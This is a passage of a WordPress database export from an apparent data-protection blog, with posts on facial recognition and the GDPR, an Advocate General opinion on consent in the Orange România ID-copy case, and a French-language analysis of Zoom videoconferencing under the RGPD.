href=\"https://www.cnet.com/news/clearview-ai-facial-recognition-company-faces-another-lawsuit/\" target=\"_blank\" rel=\"noreferrer noopener\">CNET</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\'<em>New York facial recognition startup </em><a href=\"https://clearview.ai/\"><em>Clearview AI</em></a><em> – which has amassed a huge database of more than three billion images scraped from employment sites, news sites, educational sites, and social networks including Facebook, YouTube, Twitter, Instagram and Venmo – is being sued in a potential class action lawsuit that claims the company gobbled up photos out of “pure greed” to sell to law enforcement.</em>\' writes <a href=\"https://nakedsecurity.sophos.com/2020/01/28/facial-recognition-firm-sued-for-scraping-3-billion-faceprints/\" target=\"_blank\" rel=\"noreferrer noopener\">Lisa Vaas in Naked Security</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.buzzfeednews.com/article/ryanmac/clearview-ai-fbi-ice-global-law-enforcement\" target=\"_blank\" rel=\"noreferrer noopener\">Clearview’s Facial Recognition App Has Been Used By The Justice Department, ICE, Macy’s, Walmart, And The NBA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://theconversation.com/facial-recognition-is-spreading-faster-than-you-realise-132047\" target=\"_blank\" rel=\"noreferrer noopener\">Facial recognition is spreading faster than you realise.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:embed {\"url\":\"https://algorithmwatch.org/en/story/face-recognition-police-europe/\",\"type\":\"wp-embed\",\"providerNameSlug\":\"wordpress\",\"className\":\"is-provider-algorithmwatch\"} -->\n<figure class=\"wp-block-embed-wordpress wp-block-embed is-type-wp-embed is-provider-algorithmwatch\"><div class=\"wp-block-embed__wrapper\">\nhttps://algorithmwatch.org/en/story/face-recognition-police-europe/\n</div></figure>\n<!-- /wp:embed -->\n\n<!-- wp:paragraph -->\n<p>Anna Merlon writes \'<a href=\"https://www.vice.com/en_us/article/5dmkyq/heres-the-file-clearview-ai-has-been-keeping-on-me-and-probably-on-you-too\" target=\"_blank\" rel=\"noreferrer noopener\">Here’s the File Clearview AI Has Been Keeping on Me, and Probably on You Too\'</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:embed {\"url\":\"https://www.neweurope.eu/article/facial-recognition-technology-breaches-gdpr-says-vestager/\",\"type\":\"wp-embed\",\"providerNameSlug\":\"wordpress\",\"className\":\"is-provider-new-europe\"} -->\n<figure class=\"wp-block-embed-wordpress wp-block-embed is-type-wp-embed is-provider-new-europe\"><div class=\"wp-block-embed__wrapper\">\nhttps://www.neweurope.eu/article/facial-recognition-technology-breaches-gdpr-says-vestager/\n</div></figure>\n<!-- /wp:embed -->\n\n<!-- wp:paragraph -->\n<p>Anna Merlon writes \'<a href=\"https://www.vice.com/en_us/article/5dmkyq/heres-the-file-clearview-ai-has-been-keeping-on-me-and-probably-on-you-too\" target=\"_blank\" rel=\"noreferrer noopener\">Here’s the File Clearview AI Has Been Keeping on Me, and Probably on You Too\'.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"The first ever independent evaluation into the Metropolitan Police\'s use of facial recognition technology suggests it is 81% inaccurate and could be illegal.\" -<a href=\"https://news.sky.com/story/damning-report-on-police-use-of-facial-recognition-11756793\" target=\"_blank\" rel=\"noreferrer noopener\"> Sky News</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Concerning the processing of biometrics, Susan Brown, Executive Chairwoman and Founder of Zortrex wrote : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Time to wake up!  Data Pipeline - Personalisation Marketing/advertising - taking our identities, the bad actors see this open air gap and taking over the data output and input. Biometrics is not security, your actually giving away your DNA!  If <a href=\"https://www.linkedin.com/feed/hashtag/?highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6640226290303676416&amp;keywords=%23governments&amp;originTrackingId=re8h7SAhroyJ%2BQeMNl7%2BGw%3D%3D\">governments </a><a href=\"https://www.linkedin.com/feed/hashtag/?highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6640226290303676416&amp;keywords=%23companies&amp;originTrackingId=re8h7SAhroyJ%2BQeMNl7%2BGw%3D%3D\" target=\"_blank\" rel=\"noreferrer noopener\">companies</a> do not start securing identities now, going to be disastrous.  You cannot replace your DNA or your Identity. Every day, mass surveillance, greed, humans are the product, if we do not start securing the future children now and their education and their financial banking, their medical history then everyone may just give up while the world comes to an end. \"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, the UK ICO in his guidance give an example :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>A gym introduces a facial recognition system to allow members access to the facilities. It requires all members to agree to facial recognition as a condition of entry – there is no other way to access the gym. This is not valid consent as the members are not being given a real choice – if they do not consent, they cannot access the gym. Although facial recognition might have some security and convenience benefits, it is not objectively necessary in order to provide access to gym facilities, so consent is not freely given.</p><p>However, if the gym provides an alternative, such as a choice between access via facial recognition and access via a membership card, consent could be considered freely given. The gym could rely on explicit consent for processing the biometric facial scans of the members who indicate that they prefer that option.</p><cite><br></cite></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Despite that, <a href=\"https://ipvm.com/reports/ico-conference\" target=\"_blank\" rel=\"noreferrer noopener\">UK ICO Approves Unconsented Facial Recognition At Security Conferences</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://news.sky.com/story/damning-report-on-police-use-of-facial-recognition-11756793\" target=\"_blank\" rel=\"noreferrer noopener\">The first ever independent evaluation into the Metropolitan Police\'s use of facial recognition technology suggests it is not accurate, and could be illegal.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onezero.medium.com/this-filter-makes-your-photos-invisible-to-facial-recognition-a26929b5ccf\" target=\"_blank\" rel=\"noreferrer noopener\">This Filter Makes Your Photos Invisible to Facial Recognition.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The European regulatory corpus applicable to facial recognition is composed of:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>2012: Working Party 29,&nbsp;<strong><a href=\"https://ec.europa.eu/justice/article-29/documentation/opinion-recommendation/files/2012/wp193_en.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Opinion 3/2012 on developments in biometric technologies</a></strong></li><li>2016:&nbsp;<strong><a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32016L0680&amp;from=FR\" target=\"_blank\" rel=\"noreferrer noopener\">Directive 2016/680 Data Protection Law Enforcement Directive</a></strong></li><li>2016:&nbsp;<strong><a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32016R0679&amp;from=FR\" target=\"_blank\" rel=\"noreferrer noopener\">Regulation 2016/679 General Data Protection Regulation (GDPR)</a></strong></li><li>2019: EU Agency for Fundamental Rights (FRA),&nbsp;<strong><a href=\"https://fra.europa.eu/sites/default/files/fra_uploads/fra-2019-facial-recognition-technology-focus-paper-1_en.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Facial Recognition Technology : fundamental rights considerations in the context of law enforcement</a></strong>.</li><li>2020: European Commission (EC),&nbsp;<strong><a href=\"https://ec.europa.eu/info/sites/info/files/commission-white-paper-artificial-intelligence-feb2020_en.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">White Paper on AI</a></strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Find all curations on <a rel=\"noreferrer noopener\" href=\"https://www.pearltrees.com/idigital2/biometrics/id17167428\" target=\"_blank\">Biometrics</a> and <a rel=\"noreferrer noopener\" href=\"https://www.pearltrees.com/t/facial-recognition/id17167432\" target=\"_blank\">Facial Recognition technologies</a> on these <a rel=\"noreferrer noopener\" href=\"https://www.pearltrees.com/idigital2\" target=\"_blank\">Pearltrees</a>. Although there shouldn\'t be much personal data involved, this free tool drops cookies and unfortunately is not always using SSL for non members. Memberships is free. Please contact us if you had any issue. It\'s always recommended to check your browser. We have no tights with Pearltrees tool.</p>\n<!-- /wp:paragraph -->','Court said NO to Facial Recognition Technology','FIRST EVER DECISION OF A FRENCH COURT APPLYING GDPR TO FACIAL RECOGNITION﻿. Facial recognition technology deemed disproportionate measure in schools.','publish','closed','closed','','court-said-no-to-facial-recognition-technology','','\nhttps://www.neweurope.eu/article/facial-recognition-technology-breaches-gdpr-says-vestager/','2022-05-27 14:34:29','2022-05-27 14:34:29','',0,'http://datarainbow.eu/?p=564',0,'post','',0),(583,1,'2020-03-04 20:37:02','2020-03-04 20:37:02','<!-- wp:heading {\"level\":3} -->\n<h3>Proportionality and Data Minimisation are Key to GDPR</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Personal data is the hot potato.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the six principals of Data Protection is Data minimisation. It goes against the recent tide of mass collection of data. Nevertheless, it is a life saver. By collecting less, keeping accurate, safe and confidential, in an accountable manner in appropriate registers, ideally keeping data and assets mapping, most of the hassle of compliance is resolved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little reminder of the six principals :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Lawfulness, fairness and transparency. ...</li><li>Purpose limitation. ...</li><li>Data minimisation. ...</li><li>Accuracy. ...</li><li>Storage limitation. ...</li><li>Integrity and confidentiality.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Proportionality comes as a mortar that blends it all together. We recently commented a decision by the <a href=\"https://datarainbow.eu/2020/03/02/court-said-no-to-facial-recognition-technology/\">French Administratif Court, Conseil d\'Etat, on the illegality of Live Facial Recognition technologies in schools.</a> Based on the imbalance of power and the loss of control caused by biometrics data collection disproportionate to the result, the court ordered the cease of the test. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wherever the same result can be achieved in a less intrusive manner, it has to prevail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the Charter of Fundamental Rights of the European Union, Article&nbsp;8,  data must be processed fairly for specified purposes and on the basis of the consent of the person concerned or some other legitimate basis laid down by the law. Seen in a wider context, the concept of consent allows the data subject concerned to decide for him or herself on the legitimacy of restrictions to on his or her right to the protection of personal data.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On this 4th of March, the Advocate General M.&nbsp;MACIEJ SZPUNAR presented its conclusions in request for a preliminary ruling from the Tribunalul Bucureşti (Regional Court, Bucharest, Romania) stems from a dispute between a provider of telecommunication services and a national data protection authority as to the obligations of the former in the context of contractual negotiations with a customer when it comes to copying and storing the copy of ID cards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further clarifying the concept of ‘consent’ given by a data subject, while addressing the question of the burden of proof as to whether or not the data subject has given consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>What does the EU Regulation 2016/679</em> says :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pursuant to Article&nbsp;4(11) of Regulation (EU) 2016/679,&nbsp;for the purpose of that regulation, ‘“<em>consent” of the data subject means </em><strong><em>any freely given, specific, informed and unambiguous</em></strong><em> indication of the data subject\'s wishes by which he or she, by a </em><strong><em>statement or by a clear affirmative action</em></strong><em>, signifies agreement to the processing of personal data relating to him or her</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;&nbsp;The Article&nbsp;6(1)(a) and (b) of that regulation is worded as follows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>‘<em>Processing shall be lawful only if and to the extent that at least one of the following applies:</em></p><p>(a)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<em>the data subject has given consent to the processing of his or her personal data for one or more specific purposes;</em></p><p>(b)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<em>processing is necessary for the performance of a contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract’</em>.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Article&nbsp;7(1) of the same regulation states that ‘<em>where processing is based on consent, the controller shall be able to demonstrate that the data subject has consented to processing of his or her personal data</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The facts of the case were as follows :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Romanian National Authority for the Supervision of the Processing of Personal Data, ‘the ANSPDCP’ had issued a report which included the imposition of an administrative penalty on Orange România on the ground that copies of the identity documents of its customers had been taken and kept without their express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Orange România had concluded contracts for the provision of mobile telecommunication services with customers requiring copies of their identity documents. In order to do so, customers were required to sign a document declaring they had been informed of and had consented to the collection and storage of a copy of their ID card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The existence of the customers’ consent had been established by the insertion of crosses in boxes in the written documentation evidencing the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Court is called upon to specify the conditions under which consent to the processing of personal data may be considered valid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The decision of the national DPA imposing a fine on Orange Româniawas was adopted prior to the GDPR. However, it required as well to destroy the copies of the identity documents previously collected. This injunction having effect for the future, the regulation appeared to be applicable in so far&nbsp;<em>ratione temporis</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to demonstrate consent on an informed choice on the collection and storage of IDs, customers were asked to tick a box. Is this sufficient to constitute a ‘specific and informed’ and ‘freely expressed’ consent within the meaning of Article&nbsp;2(h) of Directive 95/46 and Article 4(11) of Regulation 2016/679, to that undertaking when he or she needs to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and conservation of his or her ID documents ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article&nbsp;6(1)(a) of the directive provides that personal data must be processed <strong>fairly and lawfully</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Directive 95/46, Article&nbsp;2(h), consent is defined as any <strong>freely given specific and informed</strong> indication of his or her wishes by which the data subject signifies his or her agreement to personal data relating to him or her being processed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Regulation 2016/679, Article&nbsp;4(11), a higher standard of consent is required : consent needs to be f<strong>reely given, specific, informed and unambiguous</strong> indication of the data subject’s wishes by which he or she, by a statement or <strong>by a clear affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consent is freely given when the data subject expresses its wishes <strong>actively</strong>, rather than by passive behaviour. It should be demonstrated that the data subject had enjoyed a high degree of autonomy when choosing whether or not to give consent which for instance as previously ruled, excludes a preselected tick of a checkbox.<a>4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;<em><strong>Informed consent</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was the data subject informed of all circumstances surrounding the data processing and its consequences? The customer needed to know :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>which data are to be processed, </li><li>the duration of such processing, </li><li>in what way and for which specific purpose,</li><li>who is processing the data and whether the data are intended to be transferred to third parties,</li><li>be informed of the consequences of refusing consent: is consenting to the data processing a condition for concluding the contract or not?</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>&nbsp;Who does <strong>the burden of proof&nbsp;lie&nbsp;with&nbsp;?</strong></em>&nbsp;&nbsp;&nbsp;&nbsp;</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a>Looking at the </a>Article&nbsp;7(1) of Regulation 2016/679, the Advocate General confirms that it is for the controller to demonstrate that the data subject has consented to processing of his or her data, not only to prove that the data subject has given his or her consent, but must also prove that all the conditions for effectiveness have been met.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although the burden of proof rule is not expressly laid down in the Directive 95/46 the controller has to proof ‘the data subject has&nbsp;<em>unambiguously</em>&nbsp;given his consent’.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>Application of the principles on this case</em></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Asking customers to provide some personal data and in particular to prove their identity for the purposes of the conclusion of a contract. To require a customer to consent to the copying and storing of identity documents, however, appears to go beyond what is necessary for the performance of the contract. On the basis of the information available, it appears that the customers of Orange România do not give their free, specific and informed consent under the circumstances described by the referring court.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>There is <strong>no freely given consent</strong>. Obliging a customer to state in handwritten form that he or she does not consent to the copying and storing of his or her ID card does not permit freely given consent in the sense that the customer is put into a situation in which he or she perceptibly deviates from a regular procedure which leads to the conclusion of a contract. Following the judgment in&nbsp;<em>Planet49</em>,&nbsp;consent is to be expressed by positive opt in act.</li><li>There is <strong>no informed consent</strong>. It is not made crystal-clear to the customer that a refusal to the copying and storing of his or her ID card does&nbsp;<em>not</em>&nbsp;make the conclusion of a contract impossible. A customer does not choose in an informed manner if he or she is not aware of the consequences.</li><li>There is no indication whatsoever that Orange România has managed to demonstrate that customers consented to processing of their personal data. In this respect, an evident lack of clarity in internal procedures is surely not conducive to furnishing the proof that consent has been given by the customer. Such <strong>lack of clarity and conflicting instructions </strong>to sales personnel obviously cannot be to the detriment of the customer,&nbsp;<em>in casu</em>&nbsp;the data subject.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In conclusion, the Advocate General opinion is that :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is no ‘consent’ where the customer does not indicate his or her ‘spe<strong>cific and informed’ and ‘freely given’ wishes</strong>, within the meaning of Article&nbsp;2(h) of Directive 95/46/EC of the European Parliament and of the Council of 24&nbsp;October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data and of Article&nbsp;4(11) of Regulation (EU) 2016/679 of the European Parliament and of the Council of 27&nbsp;April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation), to that undertaking </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>==&gt; No free consent when the customer is required to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and storage of his or her ID documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The court was asked to answer on the validity of the consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ECJ ruling is soon to be followed. Although the DG opinions are not binding the court tends to rely on them. What are the implications of this analysis on the absence of free, explicite and unambiguous consent when the customer actively produce copy of his or her ID ? Should this view be extended to any case where copy of ID card is requested while not strictly necessary, based on the principle of data minimisation?  Additionally, free and explicite consent requires that consent not be detrimental to the access to the service especially where data minimisation calls for minimal data collection. Could there not be  better, more appropriate, more proportionate means of ID verification? Could the customer\'s ID be verified by other means and was it necessary to retain copy of the ID card and ultimately how identifications are stored, kept secured and for how long?</p>\n<!-- /wp:paragraph -->','Consumer contracts and the validity of consent','Personal data is the hot potato. If you do\'t need it, don\'\'t collect it, don\'t keep it. Data minimisation will save you many troubles.','publish','closed','closed','','consumer-contracts-and-the-validity-of-consent','','','2020-11-26 21:03:43','2020-11-26 21:03:43','',0,'http://datarainbow.eu/?p=583',0,'post','',0),(601,1,'2020-04-07 18:01:56','2020-04-07 17:01:56','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Données personnelles</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application de la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable. Les données précédemment notamment de santé, répertoriées comme des données ‘sensibles’, sont désormais des données de catégorie spéciale <strong>art. 9</strong> <strong>[_<a rel=\"noreferrer noopener\" href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données doivent être collectées doivent répondre aux exigences de licéité énumérées à <strong>l’art. 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. <strong>Les données à caractère personnel doivent être :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au 